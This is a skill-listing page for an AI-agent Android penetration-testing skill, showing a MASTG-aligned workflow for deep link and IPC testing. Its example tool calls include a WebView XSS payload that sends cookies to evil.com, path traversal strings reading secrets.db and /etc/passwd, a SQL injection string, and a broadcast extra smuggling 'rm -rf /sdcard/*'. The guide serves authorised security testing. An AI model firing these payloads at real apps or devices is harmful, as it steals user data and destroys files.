All skills
hardw00t avatar

/android-pentest

@f9bb3b2

Comprehensive Android mobile application penetration testing with rooted-device ADB and Frida-based MCP tooling. Covers OWASP MASTG full methodology: recon, static + dynamic analysis, SSL/root bypass, IPC fuzzing, data exfiltration, crypto audit, and reporting. Triggers on requests to pentest Android apps, analyze APKs, bypass mobile security controls, or run MASVS/MASTG assessments.

Use this Skill: https://skilld.dev/gh/hardw00t/ai-security-arsenal/android-pentest

This session only. Nothing lands on disk.

workflowsdeeplink_intent_testing.md

≈488 tokens on demand. Your agent reads this file only when SKILL.md points to it.

Workflow: Deep Link & Intent/IPC Testing

Maps to MASTG-TEST-0030 (Injection via IPC). Target exported components from the manifest.

1. Enumerate attack surface

components = list_exported_components("com.target.app")
# Inspect: activities w/ intent-filter, exported services, providers, receivers.

2. Deep link abuse

launch_activity("com.target.app", ".DeepLinkActivity",
                data_uri="targetapp://transfer?amount=1000&to=attacker")

Try: auth bypass via scheme, privileged action without session, parameter tampering.

3. WebView XSS

launch_activity("com.target.app", ".WebViewActivity",
                extras={"url": "javascript:document.location='http://evil.com/?c='+document.cookie"})

Also test file:// → internal file read when setAllowFileAccess(true).

4. Path traversal in file intents

fuzz_intent_extra("com.target.app", ".FileActivity", "filepath", [
    "../../../data/data/com.other.app/databases/secrets.db",
    "file:///data/local/tmp/evil.html",
    "content://com.target.app.provider/../../../etc/passwd"
])

See payloads/path_traversal.txt for full list.

5. Content provider SQLi

query_content_provider("content://com.target.app.provider/users?id=1' OR '1'='1' --")

Payloads: payloads/sql_injection.txt. Check for grantUriPermissions=true and path-permission gaps.

6. Broadcast injection

send_broadcast("com.target.app.CUSTOM_ACTION",
               extras={"command": "; rm -rf /sdcard/*"})

Also test sticky broadcasts and ordered-broadcast result tampering.

7. Service abuse

start_service("com.target.app", ".BackgroundService",
              extras={"action": "export_db", "target": "/sdcard/leak.db"})

References

  • payloads/intent_injection.txt, payloads/path_traversal.txt, payloads/sql_injection.txt, payloads/xss_payloads.txt
  • methodology/client_side_injection.md

Source: SKILL.md on GitHub

1 warning16d4 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    This skill provides a comprehensive environment and automated workflows for Android mobile application penetration testing. It interfaces with standard industry tools like ADB and Frida to perform security audits aligned with the OWASP MASTG methodology. While it performs sensitive operations like command execution and remote tool downloads, these are transparently implemented for its stated purpose using trusted sources.

  • Socket16d

    21 alerts: gptSecurity, gptAnomaly

  • Snyk16d

    Risk: LOW · No issues

  • ZeroLeaks5mo

    2 findings · Score: 80/100

Signed by skilld at f9bb3b2. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 2 months ago.

Steadyupdated 6 months ago

README badge

README badge for hardw00t/ai-security-arsenal/android-pentest